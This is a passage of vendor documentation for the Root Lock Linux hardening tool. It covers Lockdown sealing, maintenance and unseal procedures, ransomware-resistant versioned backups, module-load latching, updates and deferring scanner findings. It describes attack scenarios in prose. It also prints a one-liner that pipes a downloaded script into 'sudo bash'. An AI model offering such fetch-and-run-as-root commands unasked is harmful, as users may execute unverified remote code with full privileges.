• Maintenance tools — file editors (nano, vim, sed, ed) made non-executable, and rm/cp/mv replaced with restricted copies whose write access is limited to the paths Root Lock saw those tools used for during Setup Mode. Defends against a compromised approved program leveraging admin tools that run with their own broad scope, not the caller’s.

Lockdown also seals every program on the allowlist, so those binaries cannot be swapped while the machine is running.

After Maintenance unseals and you are back in Setup Mode, the Dashboard and /.hs/sys/hs-app-perm-orders-manager may show temporary write grants covering some of the paths that Lockdown normally seals. Those grants exist only while the seal is lifted. The exact paths sealed by default appear in the inventory shown during activation, or in the Compliance Quick Reference. Adjust grants before you type YES, not on the inventory.

If the Root Lock kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The machine is then without Root Lock protection and without network access. Recovery requires booting to the maintenance kernel from physical or serial-console access, repairing or replacing the failed kernel, and locking down again.

Once Lockdown is on, root cannot change the immutability flags. The kernel disables chattr. This means no allowlist entries, configuration files, or protected directories can be modified, deleted, or added while Lockdown is active.

Lockdown persists across reboots — the startup script re-engages it automatically each time the Root Lock kernel starts. There is no Dashboard toggle to leave that automatic re-engagement on a normal install.

The filesystem immutability applied by Lockdown via chattr +i is a flag stored on disk, not in kernel memory. Immutable flags therefore persist across reboots, including a reboot that reaches the maintenance kernel, until Maintenance (or HS_unlock.sh in recovery) clears them.

What this closes off

Two of the seals close attacks that are easy to miss.

Compromised programs cannot borrow another program’s tools. When an approved web server runs rm, the deletion uses rm’s permissions, not the web server’s. rm legitimately needs broad access during maintenance — so its allowlist is broad.

A compromised approved program could otherwise borrow that breadth. Lockdown replaces rm with limited_rm, whose own write paths cover only what was observed using rm during Setup Mode. Same for cp and mv. Opt out of that restriction with [t] before YES if you must.

Nothing planted before the reboot survives it. Lockdown engages after boot — there is a brief gap between the machine coming up and the seal taking hold.

Without sealing cron, anacron, environment defaults, and root’s shell profiles, an attacker who already had root before a reboot could plant a script to run in that gap. With those files sealed during the prior Lockdown, the script never reaches them — and on the next boot, nothing has changed.

Automatic Lockdown on boot

By default, the startup script re-engages Lockdown automatically on every Root Lock kernel boot. Once active, rebooting the Root Lock kernel will engage Lockdown before you can prevent it.

To install software or edit sealed files, unseal from the console as described above, then work over SSH in Setup Mode. That procedure is in Protecting During Maintenance.

Restoring mutability after Lockdown

You can make files and directories mutable again once Lockdown is no longer active. Maintenance ([m]) does this automatically when you select Maintenance: unseal and return to Root Lock at the console. For recovery outside the Dashboard, run HS_unlock.sh.

If you try to write to an immutable file without removing the flags first, you will encounter the error “could not open file; errno:1.”

If automatic GRUB configuration does not apply (Alpine or an unsupported bootloader), the Dashboard displays the exact entry to select manually. That selection requires physical or serial-console access. Alpine still has no boot menu password control. On GRUB, if a boot menu password was set, Maintenance: unseal and return to Root Lock asks for it.

Lockdown commands

These are the actual scripts Lockdown uses. Most users never invoke them directly — the Dashboard’s Lockdown ([l]) and Maintenance ([m]) run them for you.

• HS_lockdown.sh — runs when Lockdown is applied, and automatically on every Root Lock kernel boot after that. It seals Root Lock’s configuration with chattr +i, disables file editors, then engages Lockdown via the kernel. Restricted rm/cp/mv copies are prepared during finalize, then sealed by this script.
• HS_unlock.sh — reverses HS_lockdown.sh. Maintenance runs this for you on the unseal path. Run it yourself only for recovery outside the Dashboard.
• hs-unlock-progs — internal helper called by HS_unlock.sh. Not invoked directly in normal use.

There is no separate CLI for changing mode. Use Lockdown ([l]) and Maintenance ([m]) on the Dashboard.

Setup is complete. When you need to install software or recover from Lockdown, see Maintenance. To replace the Root Lock kernel, see Updating Root Lock.

10 - A subscription is what turns on Lockdown

Overview: A subscription is required to activate Lockdown on Root Lock by HeartSuite. The Dashboard shows subscription status alongside checklist progress and alerts.

Subscription

The Dashboard keeps Lockdown locked until the subscription on this host is active and the prior checklist items are complete. See Lockdown for the activation flow.

The subscription is a text file. One subscription can cover up to 9999 servers — at purchase, you specify how many servers it covers. You can purchase additional subscriptions if needed.

Dashboard

The Dashboard shows subscription status when it requires attention — an expired or missing subscription appears as a warning with a direct link to the upgrade page. A valid, active subscription shows nothing, so the absence of a warning confirms that the subscription is in good standing.

Activate on this host

After downloading the subscription file, copy it to each server it covers. Regardless of the original filename, it must be copied as HS_license.txt in the /.hs/sys directory.

# sudo cp MyCompany_HS_license.txt /.hs/sys/HS_license.txt

Register it using register_HS_license. The command requires the IP address of the Root Lock Activation Server and the port number (6121). Run the following command, replacing <ip> with the address from your activation email:

# sudo /.hs/sys/register_HS_license <ip> 6121

If activation succeeds, the program creates an activation key and displays a confirmation message; otherwise it displays an error message. You need to activate each server only once.

With your subscription active and the prior checklist items complete, proceed to Lockdown to activate Lockdown.

Root Lock kernel source code (GPL)

The Root Lock kernel ships as binaries in your coordinated install bundle. Corresponding kernel source is available on written GPL request — not via a public repository. Email support@heartsecsuite.com with uname -r, your HeartSuite product version, and bundle checksum reference if known. Full process and verification alternatives: Supply Chain and Advisory Feeds → Root Lock kernel source code (GPL).

For procurement and CISO details on how the subscription covers the kernel (risk transfer, SLAs, verification artifacts) in the context of enterprise adoption, see Kernel Hardening → Enterprise Adoption Guide.

11 - Subscription pricing

Overview: Root Lock by HeartSuite is free for personal and non-production use. Company production hosts need a paid subscription. Lockdown on a host requires an active subscription on that host.

Personal and non-production

Under the public terms, personal and non-production use is free. Typical cases: a home lab, a learning environment, or a personal VPS used for study and evaluation.

Production use

Company production hosts need a paid commercial subscription. That includes work servers, customer-facing systems, and fleets. Support terms follow the subscription agreement.

Rates

Billing unit: one sealed host (physical server or VM) with Lockdown in use.

Quoted deployments use the Lockdown host rate as the floor. The agreement can set a different floor.

These figures are a starting point for commercial discussion. Final amounts, host counts, and support packaging and discounts are confirmed in the subscription agreement.

Subscription and Lockdown

After purchase, place and register the subscription file on each covered host. See Subscription for details.

Lockdown requires the standard checklist: empty review queues, configured alerts, the settling period, and an active subscription on that host. See Lockdown.

Data-integrity warranty

Indicative host rates above are subscription only. Data-integrity warranty is available on quote: a host-integrity stamp that applies only while Lockdown is on for that host, under the commercial agreement, separate from the subscription line.

Request warranty on the quote via support@heartsecsuite.com.

Contact

For production subscriptions, fleet quotes, or onboarding: support@heartsecsuite.com.

12 - Every maintenance window is an attack window

Overview: Every maintenance window is an attack window. In Setup Mode the kernel logs but stops blocking. On the maintenance kernel, Root Lock by HeartSuite is not loaded at all.

These guides cover how to make changes without leaving a hole an attacker can use. The Dashboard shows the current protection state — including Lockdown status — and the Suggested Next Step throughout maintenance.

Maintenance is a time period during which you temporarily step out of Lockdown to make changes, not a separate mode: Root Lock has two modes, Setup Mode and Lockdown.

During maintenance you either switch to Setup Mode (the kernel logs but stops blocking) or boot the maintenance kernel (Root Lock is not loaded). The Dashboard’s Maintenance ([m]) detects whether the immutable seal is active and opens the matching path.

Installing packages, applying patches, and editing configuration happen in Setup Mode once the window is open — that is where blocking is off and logging stays on. After the first Lockdown, opening that window takes a console GRUB pick: Maintenance: unseal and return to Root Lock. The seal lifts automatically and you land back in Setup Mode on the Root Lock kernel. A one-reboot switch without the GRUB pick applies only when the strip already says Lockdown not applied.

Distro errata and application updates install in Setup Mode, on the remediation SLA in your policy or contract. For a kernel CVE whose code is compiled out, the Root Lock kernel stays as shipped while apt and dnf install the OS packages. After the packages land, review the queues and lock down again, because leaving Setup Mode open is the hole. A scanner finding whose exploit only gets an attacker as far as a step Lockdown refuses can wait for the standard change window your policy names; you file that exception in the scanner with its own expiry. See Scanner deadlines.

• Seal not applied. Type YES and reboot once. You stay on the Root Lock kernel in Setup Mode, with no GRUB pick.
• Seal applied (the usual path after the first Lockdown). Unsealing requires physical or serial-console access. Reboot and select Maintenance: unseal and return to Root Lock; if a boot menu password was set before Lockdown, that entry asks for it, while the everyday Root Lock boot does not. That boot is the maintenance kernel, which runs HS_unlock.sh and then returns you to Setup Mode on the Root Lock kernel — two reboots before the window is open. Starting or stopping sshd on the Root Lock kernel does not clear the seal, so the console step cannot be replaced by SSH. Once you are back in Setup Mode, installs and edits run over SSH. A host left on the stock kernel returns to Root Lock at the next reboot, because the GRUB default stays Root Lock.

The Maintenance grid button is shown in Lockdown. Keyboard [m] also works in Setup Mode after you have unsealed.

Which change is this?

Installing packages, replacing program files, and updating Root Lock itself are different jobs, and they take different paths out of Lockdown.

In this section

• Scanner deadlines — Which findings can wait for the standard change window, and how to file the exception with its own expiry.
• Protecting During Maintenance — Unseal from the console after Lockdown, because SSH cannot make the GRUB pick, then install or edit over SSH in Setup Mode. Ansible can run after the window is open; it cannot lift the seal.
• File Backup and Versioning — Automatic versioned backups on the Root Lock kernel. Under Lockdown the kernel is intended to keep other programs off those versions. Restore any earlier version from Backup.
• Cache Adjustment — The allowlist cache is an LRU window the Dashboard expands for you. Manual sizing is optional.
• Restricting Kernel Module Loading — Early in every boot, before the network comes up, a latch blocks new module loads until reboot. Narrowing kmod’s file grants covers boot before that point. Seal prep can auto-narrow directory grants under /lib/modules.
• Updating Root Lock — Unseal if Lockdown is applied, then run the bundle from a terminal in Setup Mode and type YES for one stock boot; the GRUB default stays Root Lock.

12.1 - Keep a gate up while you change the system

Overview: Every maintenance window is an attack window — blocking is temporarily suspended, and anything an attacker can reach during that period is unprotected.

Maintenance is the period when you temporarily reduce Root Lock by HeartSuite’s protection to install packages or edit files. The Dashboard’s Maintenance ([m]) guides you from the safety checklist through re-engaging Lockdown. Replacing the Root Lock kernel is a different path: Updating Root Lock.

After Lockdown, unsealing is the console step. You select Maintenance: unseal and return to Root Lock at the boot menu. The seal lifts automatically, and the machine returns to the Root Lock kernel in Setup Mode, so there are no flags to remove by hand on the maintenance kernel. Once you are back in Setup Mode, you install packages, edit configuration, and run Ansible over SSH.

A one-reboot switch that stays on the Root Lock kernel applies only when the strip already says Lockdown not applied, which means the seal is missing — not the usual state after a completed Lockdown.

Patch one host already in Lockdown

1. Open Maintenance ([m]) from the Dashboard while Lockdown is applied.
2. At the console, reboot and pick Maintenance: unseal and return to Root Lock. SSH cannot make this pick.
3. You land in Setup Mode on the Root Lock kernel. Install OS and application patches over SSH.
4. Review the new queue items and approve only what you will keep, because every approved entry can run under Lockdown.
5. Open Lockdown ([l]) and type YES.

Many hosts: reprovision from an updated image instead of opening a console on every node. See Enterprise Adoption Guide — Operational model for fleets and How do I patch many hosts that are already in Lockdown?.

Starting maintenance

From the Dashboard in Lockdown, select Maintenance ([m]). The Dashboard detects whether the immutable seal is active and presents the correct path.

Safety checklist

Before any mode change, Maintenance presents a safety checklist. The Dashboard auto-detects system state where possible and shows the status of each item:

• Network isolation — disable network interfaces or restrict firewall rules to prevent remote access during maintenance
• Server processes — shut down daemons (e.g., web servers) to close attack vectors
• SSH access — no root login, key-based auth only, source IP restriction

The Dashboard shows green checkmarks for items that pass and amber warnings for items that need attention. Press [c] Confirmed to proceed or [s] Skip to continue without completing the checklist. If you skip, the Dashboard displays a persistent reminder throughout the maintenance period — it does not disappear until you re-engage Lockdown.

The safety checklist matters most when you are about to lift the seal, because Root Lock is not loaded during the maintenance kernel boot. Once you are in Setup Mode the Root Lock kernel is loaded again, so logging and backups continue.

After Lockdown: unseal from the console

This is the path when Lockdown is applied. Physical or serial-console access is required to pick the boot-menu entry (keyboard and monitor, a serial port, or your cloud provider’s serial console — AWS EC2 Serial Console, GCP Serial Console, Azure Serial Console, DigitalOcean Console). Confirm that access before you start. SSH cannot unseal: sshd on the Root Lock kernel never clears the chattr +i seal, which HS_unlock.sh removes on the maintenance boot that the GRUB pick starts. After the seal lifts, you install packages and edit files over SSH or with Ansible.

After the safety checklist, Maintenance tells you to reboot from the console. It does not offer [r] Reboot on this path — the boot-menu choice has to happen at the console.

1. Open the console and restart the machine there.
2. At the boot menu, select Maintenance: unseal and return to Root Lock. Do not select the branded Root Lock kernel. If a boot menu password was set, this entry asks for it: at the GRUB prompt, the user name is root and the password is the boot menu password you set. The Root Lock entry does not ask.
3. The seal lifts automatically (HS_unlock.sh). The machine restarts on its own and returns to the Root Lock kernel in Setup Mode.
4. On the serial console, press Enter when you see Press Enter to start. (see Lockdown).

The boot menu appears a second time during that automatic return. Let it be: reboot is already in motion and there is nothing to select.

You are then in Setup Mode on the Root Lock kernel:

• Blocking is off; logging and backups are on.
• New activity appears in the review queues.
• The Maintenance grid button is hidden in Setup Mode. Keyboard [m] still opens Maintenance after you have unsealed. You can already install software and edit files.

Make your changes — install packages and edit configuration. When finished, lock down again from Lockdown ([l]). Review and approve the new queue items before you type YES. The activation flow is in Lockdown.

To replace Root Lock itself, do not wait on this kernel for the bundle. From a terminal in this Setup Mode window run bash heartsuite-install.sh and type YES. See Updating Root Lock.

If you accidentally select the Root Lock kernel at the first boot menu instead of the Maintenance entry, the Dashboard detects that and sends you back to reboot and select the correct entry.

Until the automatic return, the host runs ordinary Linux and ordinary attacks work against it. By default only the console reaches it: the NIC stays down on that kernel unless you chose a live or firewall route in Maintenance.

When the seal is not applied

If the strip says Lockdown not applied, Maintenance offers a switch to Setup Mode that stays on the Root Lock kernel. Type YES (case-sensitive). The Dashboard then offers [r] Reboot.

After that reboot:

• Root Lock switches from blocking to logging only
• The Root Lock kernel remains active
• Backups continue running
• The existing allowlist is preserved
• New activity is logged, not blocked — it will appear in the review queues when you lock down again

This path is for an unfinished or drifted seal, not for a host that already shows Lockdown applied.

After the window is open

Once you are in Setup Mode, SSH and Ansible can install packages and edit files on that host. The console trip is only to lift the seal.

• One host, many services. One unseal covers every program on that machine.
• Many hosts already in Lockdown. Ansible cannot lift the seal. The official heartsecurity.root_lock role leaves mode unchanged when hs_state is unset or setup. In-place patches still need the console path on each sealed host. For a fleet, reprovision from an updated image instead — see Enterprise Adoption Guide and Central Policy.
• Detaching the disk. Stopping a cloud VM and attaching its volume to another instance is hypervisor access, not a supported patch procedure. That mount is how a lost boot menu password is cleared, because the boot menu itself cannot reset it. Treat it as the same class as serial-console access: break-glass, and restrict it in cloud IAM. See Circumvention and recovery.

What to install

The maintenance window is how you add new software after Lockdown. Install the packages you will keep. Skip compilers and package-install helpers that executed only for this window unless they must stay on the host, because every entry you approve can run under Lockdown. See Allowlisting Basics.

When the change is done, review the new queue items, then lock down again from Lockdown ([l]). Do not leave the host in Setup Mode to install tools you will not keep.

Manual recovery outside Maintenance

When Lockdown makes files immutable using chattr +i, those flags are stored at the filesystem level and persist across reboots — including a reboot that reaches the maintenance kernel.

Modifying a file that was made immutable during a previous Lockdown session fails with an error such as “could not open file; errno:1.”

The console Maintenance entry runs HS_unlock.sh for you. For recovery outside the Dashboard, run HS_unlock.sh.

12.2 - Backups that ransomware cannot delete

Overview: Allowlisting controls what programs can execute, but an approved program that malware takes over can still write files. Ransomware running inside an approved process can encrypt whatever that process can reach.

Modern ransomware targets backup systems first — shadow copies and backup agents are typically deleted before files are encrypted.

Root Lock by HeartSuite creates a versioned backup every time a file in a protected directory is written. Versioning runs on the Root Lock kernel in both Setup Mode and Lockdown. Backup is a recovery store, not a prevention control: it does not stop the first write.

The same holds when the attack waits. A malicious sleeper is an approved program that behaves as expected for a long time, then encrypts or overwrites files it is already allowed to write. Root Lock versions those writes too, as long as the files are in a directory you selected on Backup ([b]). HeartSuite Joint File System (HJFS) removes that condition: it versions every program data file without a directory list. See The malicious sleeper attack.

Under Lockdown, the kernel keeps other programs — including malware running as root — off those backup versions; on the maintenance kernel Root Lock is not active, so that protection does not apply. Changing which directories are protected requires a maintenance window.

Automatic versioning

Root Lock monitors the protected directories you select. When any file in those directories (including subdirectories) is written, Root Lock creates a new versioned backup before the write completes. Versioning begins from first boot, before you have reviewed a single item.

Enterprise backup tools back up on a schedule — hourly, nightly, weekly. An attack that completes between backup windows has nothing to recover from. Root Lock backs up on every write, so there is no window for an attack to fit in.

Other security tools that offer rollback on Linux — including endpoint tools with a rollback feature — rely on volume shadow copies or scheduled snapshots. The same gap exists: an attack that completes between snapshot intervals has nothing to recover from.

CVE-2024-40711 — Veeam Backup & Replication, unauthenticated RCE — shows the sharper problem: the backup tool itself is the target. An attacker who reaches a Veeam host can execute code without authentication, destroy backups, then encrypt production files. Root Lock’s backups have no running agent to exploit.

Configuring protected directories

From the Dashboard, select Backup ([b]). Backup has two tabs: Configure and Restore. Configure shows which directories are protected and when they were last versioned. By default, /home is protected.

From Configure you can:

• Add a directory ([a]) — protect additional directories (for example /var/www, /etc, /usr/lib)
• Remove from backup ([r]) — stop backing up a directory. Existing versions are retained until the retention window expires.

On Backup, [n] cancels; add a directory with [a].

Recommended directories include those containing user documents, executable files, configuration, and shared libraries. Avoid high-churn directories like log directories — backup creates a new version on every write.

Backup is optional: you can remove all directories to disable it, and Lockdown does not require it.

Restoring file versions

If a file is compromised — for example, encrypted by ransomware — Backup lets you browse version history and restore any previous version of any file in a protected directory. On the Restore tab:

• File-first ([f]) — navigate by directory and file, then view versions of the selected file
• Timeline ([t]) — navigate by date, showing all files modified on a given day

To restore a single file, select it and choose the version to restore. Each version shows its timestamp and file size.

For ransomware recovery where many files were modified on the same date, use Timeline ([t]), press [d] to filter by date, review the affected files, and press [b] to batch restore all of them in one operation.

Lockdown and backup

When Lockdown is active, the backup configuration file is sealed — no user or program, including root, can add or remove directories. This prevents an attacker who compromises a running process from silently disabling backup. To change the backup configuration, enter a maintenance period first (see Protecting During Maintenance).

Backup encryption

Root Lock backup files are versioned filesystem copies. They are not encrypted by Root Lock. If your environment requires data-at-rest encryption — for example, to meet GDPR, HIPAA, or PCI DSS requirements — configure full-disk encryption (dm-crypt/LUKS) at the OS level. LUKS encryption covers the backup files automatically, since they reside on the same filesystem as the rest of the host.

CLI access for scripting and automation

For scripting and automation that runs without the Dashboard:

# hs-backup-config-manager list
# hs-backup-config-manager add -d /var/www
# hs-backup-config-manager del -d /home
# hs-version-manager list /home/user/document.txt
# hs-version-manager replace /home/user/document.txt <token>

For normal use, prefer the Dashboard’s Backup ([b]), which lets you browse versions by file or by date before you restore.

12.3 - When 255 allowlist slots is not enough

Overview: Root Lock by HeartSuite caches allowlist entries in kernel memory for lookup speed. The cache is an LRU window: its size sets how many entries stay in fast kernel memory, while the number of programs you may approve is unaffected. The Dashboard expands that window toward your allowlist size, up to 255 entries. Allowlists larger than 255 stay valid, and the kernel evicts the least recently used cache slots.

Because the Dashboard sizes the cache for you, manual sizing is optional, and you can let the allowlist grow past 255 without pruning it.

Automatic cache expansion

On startup and every state refresh, the Dashboard compares the size of your allowlist against the current kernel cache size. If the allowlist is larger, the Dashboard silently expands the cache — up to 255 entries. The minimum cache size is 10.

This runs in the background on the Dashboard’s normal 60-second refresh cycle. You do not need to invoke a CLI tool or change a setting.

When the allowlist is larger than 255

Auto-expansion stops at 255. Entries beyond that remain in force, and the kernel keeps the 255 most recently used in the cache.

Pruning unused programs in Allowed ([a]) is good hygiene rather than a requirement: after you remove entries, the next Dashboard refresh can shrink the working set the cache has to hold.

The Dashboard shows no warning when the allowlist grows past the 255-entry cache.

CLI access for scripting and automation

For scripting and automation that runs without the Dashboard, set the cache to a size between 10 and 255 with the on-disk tool:

# /.hs/sys/hs-APO-cache-size 128

Some docs and older notes call this tool hs-cache-size, its glossary name; the binary on disk is hs-APO-cache-size.

For normal use, let the Dashboard size the cache, because it re-checks the allowlist size on every refresh.

12.4 - Narrow kmod's file grants before Lockdown

Overview: Root Lock blocks kernel module loading with a latch: a kernel setting that, once switched on, stays on until the next reboot.

The latch is heartsuite-kernel-latch.service. It runs early in every Root Lock kernel boot, Setup Mode included, before the network is configured and before sshd starts. It first loads the netfilter modules the firewall needs. Then it sets kernel.modules_disabled=1, and kernel.kexec_load_disabled=1 where that node exists. From then until reboot, a later modprobe stays refused (init_module, finit_module, and delete_module). The latch script does not unload modules already in memory. The kernel setting does the blocking, not a Root Lock check.

HS_lockdown.sh writes the same settings again, where the node exists, in case the latch service is masked. OpenRC systems have no latch service and get those writes only when Lockdown is applied.

HeartSuite is not on yet while that oneshot runs, so the program allowlist is not what stops module loads in that window. This page is how you narrow kmod’s file grants before Lockdown seals the allowlist.

When no extra work is needed

If kmod has no directory grant under /lib/modules or /usr/lib/modules, you can skip the rest of this page.

When kmod is allowlisted

Some hardware configurations load drivers or filesystem modules at startup. The latch runs after udev’s initial device scan, systemd-modules-load.service, the binfmt_misc mount, and ufw.service (when enabled). Those early loads are that boot path and the latch’s own netfilter preload.

A kmod program that holds a directory grant on /lib/modules or /usr/lib/modules can load any module present in that tree. Narrow those grants to the module paths kmod needs. An allowlisted kmod with a directory read under /lib/modules can open module files that were never observed during Setup Mode. The latch’s own netfilter preload is a fixed list. File grants do not add to it.

Narrow file access before Lockdown

Do this before you type YES on Lockdown, because once Lockdown is active the allowlist entries are sealed and changing them takes a maintenance window.

When kmod’s startup activity appears in the File Access queue ([f]) during Setup Mode, approve individual .ko paths rather than directory-level access. Approving a directory grants read access to everything under it — including modules not present during observation.

If directory grants under /lib/modules are still present when you open Lockdown ([l]), seal prep auto-narrows them. That panel is advisory and does not ask for YES; pressing [m] there undoes the narrowing rather than opening Maintenance. Under Lockdown the same inventory is read-only.

Handle any grants left after auto-narrowing in Allowed ([a]) or File Access ([f]); the Dashboard, not a CLI, is the normal path.

After narrowing, reboot and confirm the machine starts with no unexpected kmod denials in the review queues. Then activate Lockdown ([l]).

What stays sealed after Lockdown

After Lockdown engages:

• Allowlist entries are sealed — kmod’s entry cannot be modified while Lockdown is active.
• Startup scripts are sealed — system-wide shell configuration, systemd unit directories, and cron. Attackers cannot insert scripts that would run before Lockdown re-engages on the next boot and expand kmod’s permissions.

After the latch, a later modprobe stays refused. The allowlist and kmod’s file grants are a separate control, and Lockdown seals them.

Per-user shell profile coverage

Lockdown seals system-wide shell configuration — /etc/profile, environment defaults, and cron — preventing an attacker from planting scripts that run at the next boot and expand kmod’s permissions before Lockdown re-engages. A script that widens kmod’s file grants still cannot load a module once the latch has run. Per-user profile files (~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrc, ~/.inputrc) are not covered automatically because the correct set depends on your user configuration.

If specific user accounts need that coverage, do it in Setup Mode (before the first Lockdown, or after unseal). The Dashboard has no per-user profile picker, so edit the scripts: uncomment those users’ profile lines in HS_lockdown.sh and the matching reverse lines in HS_unlock.sh. Then lock down from Lockdown ([l]).

12.5 - Apply an update without dropping Lockdown blindly

Overview: A Root Lock by HeartSuite update is delivered as a single self-extracting bundle (heartsuite-install.sh) that replaces the kernel and its userspace tools in one operation.

What an update changes

• The Root Lock kernel
• HeartSuite userspace tools (activate_HS, lockdown_HS, Secure Script Launchers, setup scripts)
• The Dashboard files under /opt/heartsuite/
• GRUB configuration, so the new kernel becomes the default boot target

It does not wipe user data, existing allowlist entries, or backup files. A complete overwrite still re-runs first-run setup (extra reboots) before the Dashboard returns. After the new kernel is up, new programs appear in the review queues for you to approve.

Why the update needs a stock boot

The installer will not overwrite Root Lock while that kernel is booted, which it checks with uname -r. Setup Mode still runs the Root Lock kernel, so you can copy the bundle, install packages, and edit configuration there, but the update itself finishes on a different boot.

You can also start bash heartsuite-install.sh there from a terminal. The installer asks you to type YES (case-sensitive), which sets the next boot only to the original distro kernel (stock) or Maintenance, keeps Root Lock as the default, and continues the update after that boot. You do not pick a menu entry, and you do not run the installer a second time.

If the session is not a terminal — for example curl … | sudo bash — the installer prints a one-shot command such as grub-reboot '…' && reboot for this machine instead of asking YES. Copy that command exactly rather than typing a boot entry number of your own. After that boot, run bash heartsuite-install.sh again. If the installer cannot name an entry, it tells you to open the console and choose stock or Maintenance at the boot menu.

The first-install command curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo bash is for a host that does not yet have Root Lock. On a host already running the Root Lock kernel it downloads the bundle and then follows the non-terminal path above.

If Lockdown is applied (the strip says Lockdown applied), unseal first. The installer cannot set the next boot while /boot is sealed.

• Already in Setup Mode on the Root Lock kernel. Skip Unseal. Place the bundle, verify the checksum, and run bash heartsuite-install.sh from a terminal. Type YES.
• Already on the original distro kernel or the maintenance kernel, and the strip does not say Lockdown applied. Skip Unseal and skip YES. Run the installer.
• On the maintenance kernel but the strip still says Lockdown applied. The immutable flags are still on the files. Unseal first.

On the stock or maintenance boot Root Lock is not loaded, so it does not block programs, log, or take backups: that boot is ordinary Linux. By default the NIC stays down on that boot unless Maintenance already chose a live or firewall route; this update path uses that live route, over SSH, after the console GRUB pick Maintenance: unseal and return to Root Lock. Choose a time when that gap is acceptable.

Before you begin

• Unseal first if Lockdown is applied. From the Dashboard, open Maintenance ([m]) and follow the sealed path in Protecting During Maintenance. You must land in Setup Mode before the installer can set the next boot.
• Verify the bundle. Compare the SHA-256 of heartsuite-install.sh against the published checksum before running it.
• Physical or serial-console access if the installer cannot name a boot entry, and for recovery if the new kernel does not boot. Being in Setup Mode alone does not require the console.

Update procedure

1. Place heartsuite-install.sh and heartsuite-install.sh.sha256 on the system, typically by scp into /root/. In Setup Mode that copy is allowed. Under Lockdown it may be denied, and not only by the allowlist: HS_lockdown.sh also sets chattr +i on /root. Unseal first.

2. If Lockdown is applied, open Maintenance ([m]) and complete the unseal path. You should be in Setup Mode on the Root Lock kernel before the next step.

3. Verify integrity:

   sha256sum -c heartsuite-install.sh.sha256
   

   Expected output: heartsuite-install.sh: OK

4. Log in as root over SSH or the serial console (AWS EC2 Serial Console, Linode LISH, Hetzner, and others). On failure, inspect /var/log/heartsuite/install.log on the serial console.

5. Run the installer from that terminal:

   bash heartsuite-install.sh
   

6. If uname -r still names a Root Lock release, type YES when asked. The machine takes one stock or Maintenance boot and the installer continues from disk. The default stays Root Lock. If you are already off the Root Lock kernel, there is no YES step.

7. The installer applies the update and, by default, reboots into the new Root Lock kernel. You land in Setup Mode.

8. If new programs appear, they show in the review queues. Approve them through the Dashboard, then re-engage Lockdown ([l]) if it was active before the update.

Many hosts

The in-place bundle is per host. After Lockdown, each sealed host still needs the console unseal before the installer can set the next boot, because /boot is sealed.

For many locked hosts, reprovision from an updated pre-configured image instead of running the bundle on each live machine. That path is equivalent for support when the image contains a published bundle. See Kernel Support Policy and Enterprise Adoption Guide.

If the update fails

If the new Root Lock kernel does not boot, select the previous kernel from the GRUB menu. Physical or serial-console access is required for this step. Selecting a kernel other than Root Lock, or editing the kernel line, asks for the boot menu password if one was set (none is set by default). The normal Root Lock entry does not ask.

Both the previous Root Lock kernel and the maintenance kernel remain available as recovery entries. Contact HeartSuite support at support@heartsecsuite.com and include the contents of /var/log/heartsuite/install.log in your message — we’re happy to help you recover.

12.6 - Defer the scanner findings Lockdown already stops

Overview: Under Lockdown, some critical scanner findings can wait for your standard change window. Those are the findings where exploiting the bug only gets an attacker as far as a step Root Lock refuses: running a dropped binary, opening a file the vulnerable program was never granted, or connecting to a destination outside its network allowlist. A finding the attacker can complete inside the program’s existing grants — reading files it already reads, sending to a destination it already reaches — stays this week’s work. You record the deferral as one exception rule in the scanner you already run. That rule changes the scanner’s score, report, and remediation queue until it expires. It does not change the patch date in your policy or contract.

Which findings can wait

A finding can leave the active queue when the attacker’s next step after the exploit is something Lockdown already stops:

• The next step is a program with no allowlist entry. The kernel matches the path, so a copy of an allowed binary at a new path is a new program with no entry.
• The next step is a file the program was not granted.
• The next step is a destination the program was not granted.

The vulnerable code is still on the host, so file these with a compensating-control or accepted-risk reason — the reason column in Record the reason in that scanner — and an expiry. A false-positive reason records that the vulnerability is absent, which is not true here, and the expiry is what brings the finding back for the patch.

In the comment, name the step Lockdown stops: a program with no allowlist entry, a file that program was not granted, or a destination it was not granted. A privilege-escalation finding whose root process already has an allowlist entry is not, by itself, a reason the patch can wait. Where your policy sets the standard change window at 60 or 90 days for work it does not rank critical, set the expiry to that window.

The deferral holds only while the host is in Lockdown. In Setup Mode the kernel logs but stops blocking until you return to Lockdown, so plan maintenance windows on these hosts with the open findings in mind. See Protecting During Maintenance.

Which findings stay on the patch date

Two kinds of finding keep the patch date whatever the exploit’s next step: a known-exploited finding on the CISA Known Exploited Vulnerabilities list, and anything your policy ranks critical.

The rest stay because the attack completes inside what the program is already allowed to do, so there is no refused step for Lockdown to stop:

• In-process bugs, on data the program already reads
• Kernel CVEs whose code is in the kernel you boot
• Injection inside an allowlisted process
• Denial of service
• An already-permitted destination
• The vulnerable app’s own files

An exception for one of these is a rule you file on your own policy’s terms, not on Lockdown’s. Lockdown still refuses the attacker’s next unapproved program, file, or destination on those hosts, so the patch closes the bug and the allowlist bounds what the bug can reach before it lands.

Kernel CVEs for code that is not in the kernel

The false-positive or not-affected reason is for one case: a kernel CVE whose code is absent from the kernel you boot. Record the config gate that leaves it out on the rule. The catalog of gates and the CVEs each one covers is Kernel Security Transparency.

On the 6.18 kernel, the BPF syscall is off, so there is no eBPF program to load. apt and dnf update the OS packages and leave the Root Lock kernel as shipped, so a package update does not change which kernel code is present.

A scanner that flags a kernel CVE from the version string alone follows CVE Hygiene for Scanners.

File the exception

File the rule on the asset group, tag, or range those hosts already belong to, and put the reason, the comment, and the expiry on that rule. If the scanner asks for an approver or a review date, record those on the same rule.

The exception expiry and the remediation SLA are two different dates. The expiry is how long the scanner treats the finding as handled. The SLA is the patch date in your policy or contract, and the exception does not move it. A policy that requires installs within seven days still requires them within seven days — the exception rule is what records that this finding is allowed to wait longer.

Keep evidence for the exception window

Keep a record with the rule that shows Lockdown held for the exception’s dates:

• If those hosts already ship syslog, save a search on identifier heartsuite for those dates. It returns the denials and alerts.
• If a monitor already polls status.json, its history for lockdown and daemon_ok covers the same dates.
• On one host, when the shipper is down, journalctl -t heartsuite --since and --until cover those dates.

See SIEM Integration.

Record the reason in that scanner

Each link goes to the vendor’s own article. Menu labels come from that article and can change between releases. Where an article names a 30-day or 90-day field, that field is the exception expiry, not your remediation SLA.

Wiz and Orca, which How Root Lock Compares names alongside these scanners, publish no public exception article, so they are not in the table.

Image and dependency scanners

An ignore in these tools changes that tool’s report, the same way an exception does in a host scanner.

Backports, tailoring, and intrusion prevention

